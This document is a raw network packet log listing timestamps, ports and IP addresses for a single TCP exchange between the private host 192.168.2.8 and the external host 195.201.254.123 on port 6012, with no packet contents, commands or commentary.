Aug 31, 2023 16:50:49.622473955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622509956 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622530937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622530937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622530937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622545958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622565985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622581959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622608900 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622618914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622639894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622654915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622683048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622693062 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622709036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622729063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622752905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622764111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622792006 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622798920 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622817993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622836113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622858047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622872114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622893095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622908115 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622930050 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622944117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622967005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622980118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623003960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623017073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623040915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623051882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623075962 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623100042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623123884 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623135090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623159885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623171091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623193979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623207092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623239040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623241901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623265982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623279095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623298883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623315096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623337030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623348951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623373032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623383999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623406887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623420000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623440027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623473883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623478889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623514891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623532057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623549938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623585939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623621941 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623636961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623636961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623636961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623657942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623680115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623697996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623723030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623733044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623750925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623801947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623826981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623838902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623862028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623876095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623900890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623913050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623934031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623949051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.623970032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.623985052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624020100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624053955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624088049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624120951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624155045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624190092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624197960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624197960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624197960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624197960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624197960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624197960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624223948 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624248981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624248981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624259949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624278069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624295950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624330044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624363899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624383926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624385118 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624385118 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624397993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624416113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624433041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624454021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624469042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624490976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624511957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624522924 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624552965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624568939 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624600887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624608994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624641895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624676943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624703884 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624703884 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624713898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624727011 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624749899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.624768972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.624811888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646106005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646174908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646222115 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646269083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646316051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646313906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646313906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646313906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646363974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646405935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646405935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646411896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646441936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646462917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646507978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646512032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646536112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646560907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646594048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646609068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646637917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646657944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646691084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646709919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646744967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646784067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646827936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646833897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646847963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646882057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646924019 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646929026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646974087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.646980047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.646996975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647028923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647042990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647077084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647100925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647125006 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647142887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647173882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647198915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647222996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647244930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647269964 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647316933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647356033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647356033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647365093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647401094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647413969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647432089 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647483110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647489071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647541046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647576094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647588968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647610903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647638083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647664070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647690058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647701025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647739887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647751093 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647785902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647800922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647834063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647852898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647880077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647924900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647924900 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647952080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.647970915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.647998095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648016930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648037910 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648063898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648107052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648108959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648130894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648156881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648186922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648202896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648232937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648250103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648289919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648296118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648317099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648341894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648364067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648387909 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648412943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648435116 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648456097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648488998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648500919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648550034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648555994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648597002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648618937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648642063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648673058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648688078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648721933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648737907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648746967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648786068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648807049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648835897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648848057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648884058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648905993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648933887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.648973942 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.648982048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649029970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649076939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649097919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649097919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649097919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649126053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649137974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649174929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649194956 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649224043 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649270058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649274111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649318933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649319887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649347067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649369001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649390936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649416924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649430990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649466991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649487972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649516106 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649547100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649564028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649575949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649615049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649636984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649662018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649693966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649713039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649760008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649802923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649806023 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649802923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649857044 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649869919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649878979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649915934 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.649945021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.649962902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650012016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650012016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650039911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650064945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650084972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650120020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650137901 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650183916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650192976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650249958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650250912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650300980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650350094 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650398016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650410891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650410891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650410891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650445938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650474072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650494099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650516987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650542021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650567055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650589943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650614977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650636911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650659084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650685072 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650710106 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650736094 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650744915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650784016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650804996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650831938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650856018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650880098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650923014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650927067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.650949001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.650974989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651002884 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651021004 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651047945 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651068926 CEST	6012	49774	195.201.254.123	192.168.2.8
